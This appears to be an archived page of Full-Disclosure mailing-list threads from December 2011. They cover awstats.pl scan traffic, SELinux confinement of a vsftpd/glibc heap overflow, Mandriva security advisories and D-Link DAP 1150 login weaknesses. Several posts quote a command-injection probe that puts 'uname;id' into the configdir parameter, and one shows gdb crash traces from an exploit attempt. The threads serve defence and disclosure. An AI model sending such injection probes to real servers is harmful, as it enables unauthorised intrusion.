Re: [Full-disclosure] New awstats.pl vulnerability?
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Same here, I even tried to notify a bunch of the ISP registrators of the IP address range those originated from. - -Nik On 12/13/2011 07:30 AM, Bruce Ediger wrote: > On Mon, 12 Dec 2011, Lamar Spells wrote: > >> For the past several days, I have been seeing thousands of requests >> looking for awstats.pl like this one: > > Yeah, me too. They just started up. I haven't seen any awstats.pl > requests since 2010-05-18, and now I've gotten batches of them, since > about 2011-11-22, but heavier since the start of December. > > ___ > Full-Disclosure - We believe in it. > Charter: http://lists.grok.org.uk/full-disclosure-charter.html > Hosted and sponsored by Secunia - http://secunia.com/ -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.11 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/ iQEcBAEBAgAGBQJO5vwQAAoJEDFLYVOGGjgX8oEH/i3kjBAtJcT1DJvJVcRX4O+9 t2UcvehxpyjalhCttTmQrE8EcLrtGS62K0ZziNQPvXirOtJ0ERcaARsQFiTT7fCi YyEuNDa15nx+wS2dgnKWEyCjz356RobtXgFflrbfHNPmBCRGd/qM3VzquUDYRdef E+JtU0J3RgilXxMFLrZK5GHwZOUKNebv/T6bRPescMzRsX/DO89Csv0kWJM9xvyI kd0El+/thw8aj9/21dB/JWhdbiBozuKd2MG1hTog/xKFVzVqdTzkNoZ7Ok15n91v LoAx7cLqDInmx1syDLOSMhzRoyqGAA9Uq/WuTpDqTDcHjVwjGJPeYjc97dIJWdY= =0+7+ -END PGP SIGNATURE- ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] New awstats.pl vulnerability?
On Mon, 12 Dec 2011, Lamar Spells wrote: > For the past several days, I have been seeing thousands of requests > looking for awstats.pl like this one: Yeah, me too. They just started up. I haven't seen any awstats.pl requests since 2010-05-18, and now I've gotten batches of them, since about 2011-11-22, but heavier since the start of December. ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] New awstats.pl vulnerability?
Hello, It certainly happens. It's very random who scanners decide to hit. You may have JUST been crawled and passed around several lists as possibilities. To put some perspective on what you're seeing, the company I work for has about 3k clients and within the past hour (just checked now), we got abut 5,122 attempts for this one vulnerability in our environment. On Mon, Dec 12, 2011 at 6:30 PM, Lamar Spells wrote: > For the past several days, I have been seeing thousands of requests > looking for awstats.pl like this one: > > GET /awstats/awstats.pl ? configdir=|echo;echo YYYAAZ;uname;id;echo > YYY;echo| > > I am dropping these requests due to previous (and very old) issues > with awstats (see CVE-2006-3682). > > But this leaves me wondering if there is a new vuln lurking here somewhere. > > Anyone else seeing the same thing? > > Regards, > > Lamar Spells > > ___ > Full-Disclosure - We believe in it. > Charter: http://lists.grok.org.uk/full-disclosure-charter.html > Hosted and sponsored by Secunia - http://secunia.com/ > ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Fwd: VSFTPD Remote Heap Overrun (low severity)
On Mon, 12 Dec 2011 19:19:20 EST, Ramon de C Valle said: > Actually, this is has no relation with binaries. Transitions are defined per > domain in SELinux policy. For additional information, refer to: > http://danwalsh.livejournal.com/23944.html Exactly the point - that's how most transitions are done. However, if you want to start off in an SELinux context that can read locale_t, open the file, chroot, and then change to another context that can't reade locale_t, then you're going to need to use setcon() in the process rather than just letting execcon based transitions letting it happen. And at that point, you just bought a hole bunch more headache, because now you need to do setcon() *securely* rather than just get transitioned into an ftpd_t just by getting exec'ed. > > We're lucky nobody has looked into what should happen on an > > MLS-enabled system :) > I don't think sensitivity levels would make any difference in this case in > the current SELinux MLS policy. No, but if user A and user B are in different sensitivity levels, it's even more loads of fun to make sure that the ftpd can get to the proper sensitivity level for each user via setcon() without botching it. pgp0VRnLZvvJ5.pgp Description: PGP signature ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Fwd: VSFTPD Remote Heap Overrun (low severity)
> > But how can I state that ftp has access to the users homedir and > > not > > allow access to user_home_t? > This is a good question. Actually, we shouldn't allow ftpd_t read the > locale files from within user_home_t directories. But now I'm not > sure if this will be possible. A different file context for /home/(.*)/usr/share/zoneinfo(/.*) in vsftpd policy module would be a feasible solution? Will ftpd_t honour this when creating new files? -- Ramon de C Valle / Red Hat Security Response Team ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] New awstats.pl vulnerability?
For the past several days, I have been seeing thousands of requests looking for awstats.pl like this one: GET /awstats/awstats.pl ? configdir=|echo;echo YYYAAZ;uname;id;echo YYY;echo| I am dropping these requests due to previous (and very old) issues with awstats (see CVE-2006-3682). But this leaves me wondering if there is a new vuln lurking here somewhere. Anyone else seeing the same thing? Regards, Lamar Spells ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Fwd: VSFTPD Remote Heap Overrun (low severity)
> If you're trying to do it with SELinux policy, that would require > opening the > locale file before the chroot, then changing the selinux context to > something > that can't open locale_t and then doing the chroot. Unfortunately, > that's fast > approaching "cure is worse than the disease", because it means the > initial > context has to have the ability to change its context (in the > standard selinux > policy, that's restricted to only 2 or 3 binaries like 'newrole'). Actually, this is has no relation with binaries. Transitions are defined per domain in SELinux policy. For additional information, refer to: http://danwalsh.livejournal.com/23944.html > > We're lucky nobody has looked into what should happen on an > MLS-enabled system :) I don't think sensitivity levels would make any difference in this case in the current SELinux MLS policy. -- Ramon de C Valle / Red Hat Security Response Team ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Fwd: VSFTPD Remote Heap Overrun (low severity)
On Mon, 12 Dec 2011 23:27:04 GMT, li...@notatla.org.uk said: > That sounds like a "confused deputy". > http://www.cis.upenn.edu/~KeyKOS/ConfusedDeputy.html Yep, same basic problem.. > Is it reasonable to obtain all timezone data at program startup and > refuse to open locale-related files after chroot? If you're trying to do it with SELinux policy, that would require opening the locale file before the chroot, then changing the selinux context to something that can't open locale_t and then doing the chroot. Unfortunately, that's fast approaching "cure is worse than the disease", because it means the initial context has to have the ability to change its context (in the standard selinux policy, that's restricted to only 2 or 3 binaries like 'newrole'). We're lucky nobody has looked into what should happen on an MLS-enabled system :) pgp79pr9Fi0LE.pgp Description: PGP signature ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Fwd: VSFTPD Remote Heap Overrun (low severity)
Valdis.Kletnieks vt.edu: > The problem is that at open() time, there's no good way to specify what the > expected label is (now *that* might be an interesting extention to open() for > some enterprisng grad student) - so as long as the file has *any* foo_t label > that the program is allowed to access, the open() will succeed. There's no > way > for it to say "I'm opening what *should* be a locale_t file, so if I'm being > coerced into opening a user_foo_t, please nuke the request". That sounds like a "confused deputy". http://www.cis.upenn.edu/~KeyKOS/ConfusedDeputy.html Is it reasonable to obtain all timezone data at program startup and refuse to open locale-related files after chroot? ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Fwd: VSFTPD Remote Heap Overrun (low severity)
> To fill in the SELinux details for the people following along at > home: > > The problem is that at open() time, there's no good way to specify > what the > expected label is (now *that* might be an interesting extention to > open() for > some enterprisng grad student) - so as long as the file has *any* > foo_t label > that the program is allowed to access, the open() will succeed. > There's no way > for it to say "I'm opening what *should* be a locale_t file, so if > I'm being > coerced into opening a user_foo_t, please nuke the request". Exactly. Thanks for putting this into more concise wording. > > -- Ramon de C Valle / Red Hat Security Response Team ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] [ MDVSA-2011:186 ] nfs-utils
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 ___ Mandriva Linux Security Advisory MDVSA-2011:186 http://www.mandriva.com/security/ ___ Package : nfs-utils Date: December 12, 2011 Affected: 2010.1, Enterprise Server 5.0 ___ Problem Description: A vulnerability has been discovered and corrected in nfs-utils: It was found that the mount.nfs tool did not handle certain errors correctly when updating the mtab (mounted file systems table) file. A local attacker could use this flaw to corrupt the mtab file (CVE-2011-1749). The updated packages have been patched to correct this issue. ___ References: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-1749 ___ Updated Packages: Mandriva Linux 2010.1: 783fba0c19265b5085ecabdb594c6aeb 2010.1/i586/nfs-utils-1.2.2-5.1mdv2010.2.i586.rpm 73c7032c9e3e8233e130ca38f912a159 2010.1/i586/nfs-utils-clients-1.2.2-5.1mdv2010.2.i586.rpm 0b02667babf7b3fdbd2284dc2d7d63c9 2010.1/SRPMS/nfs-utils-1.2.2-5.1mdv2010.2.src.rpm Mandriva Linux 2010.1/X86_64: a2fec775cd5a467748caf78b62c7ce1d 2010.1/x86_64/nfs-utils-1.2.2-5.1mdv2010.2.x86_64.rpm 9447399cbd7623165af0bea26d2fa065 2010.1/x86_64/nfs-utils-clients-1.2.2-5.1mdv2010.2.x86_64.rpm 0b02667babf7b3fdbd2284dc2d7d63c9 2010.1/SRPMS/nfs-utils-1.2.2-5.1mdv2010.2.src.rpm Mandriva Enterprise Server 5: 1267af5074d0f250ea50fa1f816cc7bc mes5/i586/nfs-utils-1.1.3-10.3mdvmes5.2.i586.rpm b39e42c513fe9354c663e7da9bb5c136 mes5/i586/nfs-utils-clients-1.1.3-10.3mdvmes5.2.i586.rpm 72a3bcd0407307daacd5e63b7758ae64 mes5/SRPMS/nfs-utils-1.1.3-10.3mdvmes5.2.src.rpm Mandriva Enterprise Server 5/X86_64: 0fe6d6710db58f72f7f4bade38a9c741 mes5/x86_64/nfs-utils-1.1.3-10.3mdvmes5.2.x86_64.rpm 84b6a01600724ac3bb2d2bd8a56fd919 mes5/x86_64/nfs-utils-clients-1.1.3-10.3mdvmes5.2.x86_64.rpm 72a3bcd0407307daacd5e63b7758ae64 mes5/SRPMS/nfs-utils-1.1.3-10.3mdvmes5.2.src.rpm ___ To upgrade automatically use MandrivaUpdate or urpmi. The verification of md5 checksums and GPG signatures is performed automatically for you. All packages are signed by Mandriva for security. You can obtain the GPG public key of the Mandriva Security Team by executing: gpg --recv-keys --keyserver pgp.mit.edu 0x22458A98 You can view other update advisories for Mandriva Linux at: http://www.mandriva.com/security/advisories If you want to report vulnerabilities, please contact security_(at)_mandriva.com ___ Type Bits/KeyID Date User ID pub 1024D/22458A98 2000-07-10 Mandriva Security Team -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.11 (GNU/Linux) iD8DBQFO5kJFmqjQ0CJFipgRApTMAJ9ZoxPUs78HRH2NKU+k90tLJp582wCeNOf2 /6bpLm2Y7mosXizvh5YtpHs= =rXfq -END PGP SIGNATURE- ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Fwd: VSFTPD Remote Heap Overrun (low severity)
On Mon, 12 Dec 2011 13:31:21 EST, Ramon de C Valle said: > This is a good question. Actually, we shouldn't allow ftpd_t read the locale > files from within user_home_t directories. To fill in the SELinux details for the people following along at home: The problem is that at open() time, there's no good way to specify what the expected label is (now *that* might be an interesting extention to open() for some enterprisng grad student) - so as long as the file has *any* foo_t label that the program is allowed to access, the open() will succeed. There's no way for it to say "I'm opening what *should* be a locale_t file, so if I'm being coerced into opening a user_foo_t, please nuke the request". pgpVOvTimF1iF.pgp Description: PGP signature ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Fwd: VSFTPD Remote Heap Overrun (low severity)
> But how can I state that ftp has access to the users homedir and not > allow access to user_home_t? This is a good question. Actually, we shouldn't allow ftpd_t read the locale files from within user_home_t directories. But now I'm not sure if this will be possible. -- Ramon de C Valle / Red Hat Security Response Team ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] Firefox forensics with SQLite Manager at InfoSec Institute
Hello, a recent article here on how to perform forensics investigations on Firefox with SQLite Manager: http://resources.infosecinstitute.com/firefox-and-sqlite-forensics/ This is relevant because it is easy to install, doesn't require you to buy a $4,000 forensic software tool (Encase, FTK, etc.), and gives you lots of good data on forms, cookies, addons, extension, SSL sessions, etc. Your thoughts? ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Fwd: VSFTPD Remote Heap Overrun (low severity)
> Ramon, not sure I understand, what are you trying to prevent here? Hello Dan, vsftpd processes open locale files from the "/usr/share/zoneinfo" directory, which are expected to have the "locale_t" type. A chrooted user can create a specially-crafted locale file in "/home//usr/share/zoneinfo" directory to try exploiting this glibc vulnerability. However, the specially-crafted locale file created will have the "user_home_t" type and not the "locale_t". SELinux rules for vsftpd (i.e. ftpd_t) allowing only opening locale files from "usr_t" directories with "locale_t" type should have completely mitigated this. -- Ramon de C Valle / Red Hat Security Response Team ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] [ MDVSA-2011:185 ] libcap
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 ___ Mandriva Linux Security Advisory MDVSA-2011:185 http://www.mandriva.com/security/ ___ Package : libcap Date: December 12, 2011 Affected: 2010.1, 2011., Enterprise Server 5.0 ___ Problem Description: A vulnerability has been discovered and corrected in libcap: capsh did not chdir(/) after callling chroot(). Programs could therefore access the current directory outside of the chroot (CVE-2011-4099). The updated packages have been patched to correct this issue. ___ References: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-4099 ___ Updated Packages: Mandriva Linux 2010.1: a1aa89a0b1d70848fdd1b91b1f499715 2010.1/i586/libcap2-2.19-5.1mdv2010.2.i586.rpm d9b734bdc6a4b1be2bb7cc321d6e1c37 2010.1/i586/libcap-devel-2.19-5.1mdv2010.2.i586.rpm 9743b75064868e4459e328fb779659ea 2010.1/i586/libcap-utils-2.19-5.1mdv2010.2.i586.rpm b7aa70bcc0d5850b9002ce7b79947a16 2010.1/i586/pam_cap-2.19-5.1mdv2010.2.i586.rpm 0efc8c20a6470cfe4b197a397e8fa9fe 2010.1/SRPMS/libcap-2.19-5.1mdv2010.2.src.rpm Mandriva Linux 2010.1/X86_64: bad8768c287d0caa596ebcf3298b7c24 2010.1/x86_64/lib64cap2-2.19-5.1mdv2010.2.x86_64.rpm 80ab533f0435ca8d0131cf1e2df3abca 2010.1/x86_64/lib64cap-devel-2.19-5.1mdv2010.2.x86_64.rpm 5707c86b275b22430d2b6d9072d6b49f 2010.1/x86_64/libcap-utils-2.19-5.1mdv2010.2.x86_64.rpm af734f2e003072bbaeabfccfdefe3da4 2010.1/x86_64/pam_cap-2.19-5.1mdv2010.2.x86_64.rpm 0efc8c20a6470cfe4b197a397e8fa9fe 2010.1/SRPMS/libcap-2.19-5.1mdv2010.2.src.rpm Mandriva Linux 2011: 5d4dc6f480035acc78b321aa0b3461e9 2011/i586/libcap2-2.19-7.1-mdv2011.0.i586.rpm efb0aae7df9b50b9b5d2c839554d6a1a 2011/i586/libcap-devel-2.19-7.1-mdv2011.0.i586.rpm 0cc4703e8f22eb69d62294cec0f73c7f 2011/i586/libcap-utils-2.19-7.1-mdv2011.0.i586.rpm db290982632ae980684f088688401a7e 2011/i586/pam_cap-2.19-7.1-mdv2011.0.i586.rpm ccd77a7775907368085d443e69767382 2011/SRPMS/libcap-2.19-7.1.src.rpm Mandriva Linux 2011/X86_64: 72288e910ac68f086670baee76f76b91 2011/x86_64/lib64cap2-2.19-7.1-mdv2011.0.x86_64.rpm e86cc72e4e15eacaf128585c199f0557 2011/x86_64/lib64cap-devel-2.19-7.1-mdv2011.0.x86_64.rpm 37fa28f00ebb730fd5b91457128a7576 2011/x86_64/libcap-utils-2.19-7.1-mdv2011.0.x86_64.rpm e3faa58e81e49a6ac4729a98e835814e 2011/x86_64/pam_cap-2.19-7.1-mdv2011.0.x86_64.rpm ccd77a7775907368085d443e69767382 2011/SRPMS/libcap-2.19-7.1.src.rpm Mandriva Enterprise Server 5: 2352b4cb1b618a307b2a1a707d0b36de mes5/i586/libcap2-2.10-1.2mdvmes5.2.i586.rpm be73f3d4f3c4192092c968b183895599 mes5/i586/libcap-devel-2.10-1.2mdvmes5.2.i586.rpm 14d651d422a4cee0701fa9d05750fd8c mes5/i586/libcap-utils-2.10-1.2mdvmes5.2.i586.rpm 53d59bdf13449117bbc648caf7543e8f mes5/i586/pam_cap-2.10-1.2mdvmes5.2.i586.rpm e189f55eedba7655c1f211f7e406af60 mes5/SRPMS/libcap-2.10-1.2mdvmes5.2.src.rpm Mandriva Enterprise Server 5/X86_64: 5732ec43dcd02d2fbb11e808d6dd10d7 mes5/x86_64/lib64cap2-2.10-1.2mdvmes5.2.x86_64.rpm 8999ca23503c2256a06fe124ca3b6a3d mes5/x86_64/lib64cap-devel-2.10-1.2mdvmes5.2.x86_64.rpm 0ffb9699516cc66da453962b671d1940 mes5/x86_64/libcap-utils-2.10-1.2mdvmes5.2.x86_64.rpm ac14e30438d172c57c3ee886ead7f24d mes5/x86_64/pam_cap-2.10-1.2mdvmes5.2.x86_64.rpm e189f55eedba7655c1f211f7e406af60 mes5/SRPMS/libcap-2.10-1.2mdvmes5.2.src.rpm ___ To upgrade automatically use MandrivaUpdate or urpmi. The verification of md5 checksums and GPG signatures is performed automatically for you. All packages are signed by Mandriva for security. You can obtain the GPG public key of the Mandriva Security Team by executing: gpg --recv-keys --keyserver pgp.mit.edu 0x22458A98 You can view other update advisories for Mandriva Linux at: http://www.mandriva.com/security/advisories If you want to report vulnerabilities, please contact security_(at)_mandriva.com ___ Type Bits/KeyID Date User ID pub 1024D/22458A98 2000-07-10 Mandriva Security Team -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.11 (GNU/Linux) iD8DBQFO5f8ymqjQ0CJFipgRAilpAJ4hCCqe0HBbxyvVODQQUkDyQN7ysACghZn9 Wrl2Fm4qiIYLXH5+v0IlQNw= =euQT -END PGP SIGNATURE- ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Fwd: VSFTPD Remote Heap Overrun (low severity)
> I havent looked into it yet, just saw the 0x41414141 in the registers > and assumed it is exploitable.I will have a look into it when I find > time and post the results here. Just some additional information about what probably happened in your case, and why I've asked if this behaviour is consistent. In Red Hat Enterprise Linux 6, vsftpd-2.2.2, and glibc 2.12: [...] (gdb) c Continuing. Program received signal SIGABRT, Aborted. 0x009c2424 in __kernel_vsyscall () (gdb) bt #0 0x009c2424 in __kernel_vsyscall () #1 0x001bdd31 in raise () from /lib/libc.so.6 #2 0x001bf60a in abort () from /lib/libc.so.6 #3 0x001fbd5d in __libc_message () from /lib/libc.so.6 #4 0x002021a1 in malloc_printerr () from /lib/libc.so.6 #5 0x00222ca3 in __tzfile_read () from /lib/libc.so.6 #6 0x00222348 in tzset_internal () from /lib/libc.so.6 #7 0x00222491 in __tz_convert () from /lib/libc.so.6 #8 0x0022078f in localtime () from /lib/libc.so.6 #9 0x00180f1d in ?? () #10 0x001769de in ?? () #11 0x00176cb8 in ?? () #12 0x001701aa in ?? () #13 0x00172758 in ?? () #14 0x0017a46e in ?? () #15 0x0017a937 in ?? () #16 0x0016d58d in main () (gdb) f 5 #5 0x00222ca3 in __tzfile_read () from /lib/libc.so.6 (gdb) i r eax0x0 0 ecx0x53e1342 edx0x6 6 ebx0x319ff4 3252212 esp0xbfb34fc8 0xbfb34fc8 ebp0xbfb350dc 0xbfb350dc esi0x1f4500 edi0x12cf0f819722488 eip0x222ca3 0x222ca3 <__tzfile_read+83> eflags 0x200202 [ IF ID ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 (gdb) x/i $eip => 0x222ca3 <__tzfile_read+83>: movl $0x0,0x9c0(%ebx) (gdb) i r ebx ebx0x319ff4 3252212 (gdb) x/x $ebx+0x9c0 0x31a9b4 : 0x012ce928 (gdb) x/i $eip => 0x222ca3 <__tzfile_read+83>: movl $0x0,0x9c0(%ebx) (gdb) 0x222cad <__tzfile_read+93>: lea-0xc(%ebp),%esp (gdb) 0x222cb0 <__tzfile_read+96>: pop%ebx (gdb) 0x222cb1 <__tzfile_read+97>: pop%esi (gdb) 0x222cb2 <__tzfile_read+98>: pop%edi (gdb) 0x222cb3 <__tzfile_read+99>: pop%ebp (gdb) 0x222cb4 <__tzfile_read+100>:ret (gdb) As I mentioned, this is detected by glibc when freeing our controlled chunk (i.e. transitions), before returning from __tzfile_read. In the video, I see you used dividead's exploit without change, thus malloc(0) most likely allocated from fast bins, and you probably had the __tzfile_read (i.e. f) file structure allocated nearby within the ~5 adjacent bytes, and had this corrupted at some place in main arena (since file structures are larger than 64 bytes and will not be allocated from fast bins). You probably will see this behaviour repeat, but most likely the file structure will not be located at the same offset in your buffer. For SELinux, unfortunately it seems that with the appropriate configuration of "allow_ftpd_full_access" disabled and "ftp_home_dir" enabled, a vsftpd process chrooted and confined (i.e. ftpd_t) allow locale files to be opened not having the locale_t type (i.e. user_home_t, in this case), which if don't allow would have completely mitigated this issue. Dan, could you fix this in SELinux policy? Thanks, -- Ramon de C Valle / Red Hat Security Response Team ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Minimum Syslog Level Needed for Court Trial
On 09/12/2011 10:27, xD 0x41 wrote: > So, whos going to offer REAL DAMN ONLINE SEC HELP HERE , SIMPLE I read this assuming a "russian" accent until I hit the SIMPLE (with a four dot ellipse - shudder) From that point on everything will be read in "meerkat" and I just laughed my head off. Simples (cheep). ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] [ MDVSA-2011:184 ] krb5
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 ___ Mandriva Linux Security Advisory MDVSA-2011:184 http://www.mandriva.com/security/ ___ Package : krb5 Date: December 12, 2011 Affected: 2011. ___ Problem Description: A vulnerability has been discovered and corrected in krb5: The process_tgs_req function in do_tgs_req.c in the Key Distribution Center (KDC) in MIT Kerberos 5 (aka krb5) 1.9 through 1.9.2 allows remote authenticated users to cause a denial of service (NULL pointer dereference and daemon crash) via a crafted TGS request that triggers an error other than the KRB5_KDB_NOENTRY error (CVE-2011-1530). The updated packages have been patched to correct this issue. ___ References: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-1530 http://web.mit.edu/kerberos/advisories/MITKRB5-SA-2011-007.txt ___ Updated Packages: Mandriva Linux 2011: 54a83cd6cdbc7f0d8c6a42294bc113b9 2011/i586/krb5-1.9.1-1.2-mdv2011.0.i586.rpm c31913958d5883a6dbc0325704cc39fa 2011/i586/krb5-pkinit-openssl-1.9.1-1.2-mdv2011.0.i586.rpm 946695d8f81db41d8d96dc7f042f7b5a 2011/i586/krb5-server-1.9.1-1.2-mdv2011.0.i586.rpm 8d4c45656dee7a304c2949b310e4ac15 2011/i586/krb5-server-ldap-1.9.1-1.2-mdv2011.0.i586.rpm 793a023ecb27c0da74fd5ce2d427f313 2011/i586/krb5-workstation-1.9.1-1.2-mdv2011.0.i586.rpm 21adde2be479d0d88cc4d4b4ccdc830f 2011/i586/libkrb53-1.9.1-1.2-mdv2011.0.i586.rpm 2e6fccb5bd6d4952760ea9f775cbc82f 2011/i586/libkrb53-devel-1.9.1-1.2-mdv2011.0.i586.rpm 969f9571e81879d930765641058a36d7 2011/SRPMS/krb5-1.9.1-1.2.src.rpm Mandriva Linux 2011/X86_64: 2c955a204331355400fbb314916e08c3 2011/x86_64/krb5-1.9.1-1.2-mdv2011.0.x86_64.rpm 96830217b39f95a75c4595bad116b767 2011/x86_64/krb5-pkinit-openssl-1.9.1-1.2-mdv2011.0.x86_64.rpm 1fda8cc8c58d6b7676fda754cc94fee8 2011/x86_64/krb5-server-1.9.1-1.2-mdv2011.0.x86_64.rpm d96a439614ec95f1382b617ce1d8fa26 2011/x86_64/krb5-server-ldap-1.9.1-1.2-mdv2011.0.x86_64.rpm 5bedc418631830dbe231dffa7fe95f69 2011/x86_64/krb5-workstation-1.9.1-1.2-mdv2011.0.x86_64.rpm be039c2f29add507c55fa24e67f151ce 2011/x86_64/lib64krb53-1.9.1-1.2-mdv2011.0.x86_64.rpm bafc29ad3c0bc69293b06742743dc915 2011/x86_64/lib64krb53-devel-1.9.1-1.2-mdv2011.0.x86_64.rpm 969f9571e81879d930765641058a36d7 2011/SRPMS/krb5-1.9.1-1.2.src.rpm ___ To upgrade automatically use MandrivaUpdate or urpmi. The verification of md5 checksums and GPG signatures is performed automatically for you. All packages are signed by Mandriva for security. You can obtain the GPG public key of the Mandriva Security Team by executing: gpg --recv-keys --keyserver pgp.mit.edu 0x22458A98 You can view other update advisories for Mandriva Linux at: http://www.mandriva.com/security/advisories If you want to report vulnerabilities, please contact security_(at)_mandriva.com ___ Type Bits/KeyID Date User ID pub 1024D/22458A98 2000-07-10 Mandriva Security Team -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.11 (GNU/Linux) iD8DBQFO5eu1mqjQ0CJFipgRAvkYAJ4pAWvQnHNkyeazqSO+FAyKiFnUwgCghzr+ N9Jw2Cckoxly2kqpa5X7WQI= =YKM3 -END PGP SIGNATURE- ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] Vulnerabilities in D-Link DAP 1150
Hello list! I want to warn you about security vulnerabilities in D-Link DAP 1150 (WiFi Access Point and Router). These are Predictable Resource Location, Brute Force and Cross-Site Request Forgery vulnerabilities. This is my second advisory from series of advisories about vulnerabilities in D-Link products. SecurityVulns ID: 12076. - Affected products: - Vulnerable is the next model: D-Link DAP 1150, Firmware version 1.2.94. This model with other firmware versions also must be vulnerable. -- Details: -- Predictable Resource Location (WASC-34): http://192.168.0.50 The control panel of device is placed at default path with default login and password (admin:admin). Which allows for local users (which have access to PC or via LAN) and also for remote users via Internet (via CSRF) to get access to control panel and change router's settings. Default above-mentioned settings - it's standard practice of developers of ADSL routers and other network devices, but D-Link became changing this situation in their new devices. For protecting against problems with default password, D-Link made the next in admin panel: at the first enter to admin panel it's obligatory needed to change a password. I.e. before changing settings it's needed to change default password. And all developers of network devices should use such approach. But Windows-application for configuration of the device, which is bundled on CD, doesn't change a password, only change other settings of access point. Thus it's possible to configure the device with leaving of default password, which will leave the device vulnerable to attacks. Brute Force (WASC-11): In login form http://192.168.0.50 there is no protection against Brute Force attacks. Which allows to pick up password (if it was changed from default), particularly at local attack. E.g. via LAN malicious users or virus at some computer can conduct attack for picking up the password, if it was changed. CSRF (WASC-09): Lack of protection against Brute Force (such as captcha) also leads to possibility of conducting of CSRF attacks, which I wrote about in the article Attacks on unprotected login forms (http://lists.webappsec.org/pipermail/websecurity_lists.webappsec.org/2011-April/007773.html). It allows to conduct remote login. Which will be in handy at conducting of attacks on different CSRF vulnerabilities in control panel, which I'll tell you about later. Timeline: 2011.11.17 - found vulnerabilities. 2011.12.09 - disclosed at my site. 2011.12.11 - informed developers. I mentioned about these vulnerabilities at my site (http://websecurity.com.ua/5558/). Best wishes & regards, MustLive Administrator of Websecurity web site http://websecurity.com.ua ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Google open redirect
Just quickly I digress; this is a massive problem in the mindset of many. They won't ever learn about something if they aren't ever made aware of it. Say, by fixing the problem... > > I have seen the "most users don't understand X anyway" as an argument > against fixing X in the browser several times before, and I think > that's wrong; but I'm not sure this is applicable here. > > /mz > ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] Fwd: VSFTPD Remote Heap Overrun (low severity)
Hi Ramon, >I have not tried much, but I have not get ouside of glibc scope after the >overflow within a controllable environment. In your video, It seems you >overwrite the file structure used in __tzfile_read. Is this a constant and >controllable behaviour? I havent looked into it yet, just saw the 0x41414141 in the registers and assumed it is exploitable.I will have a look into it when I find time and post the results here. >One important thing to note is in Fedora and RHEL, when running SELinux, >vsftpd runs confined by default, and can be configured by the following >booleans:>>[rcvalle@localhost ~]$ getsebool -a | grep >ftpd>allow_ftpd_anon_write --> off>allow_ftpd_full_access --> >off>allow_ftpd_use_cifs --> off>allow_ftpd_use_nfs --> off>ftpd_connect_db --> >off>>[...]>>[rcvalle@localhost ~]$>>And unless the boolean >allow_ftpd_full_access is enabled, vsftpd may not be allowed to read this file >by default. Could you cause this running the vsftpd installed from packages >distributed with CentOS, Fedora, or RHEL? I'm copying Dan Walsh so he can >comment on this. The youtube video shows a CentOS 5.5 default install with vsftpd compiled from sources as 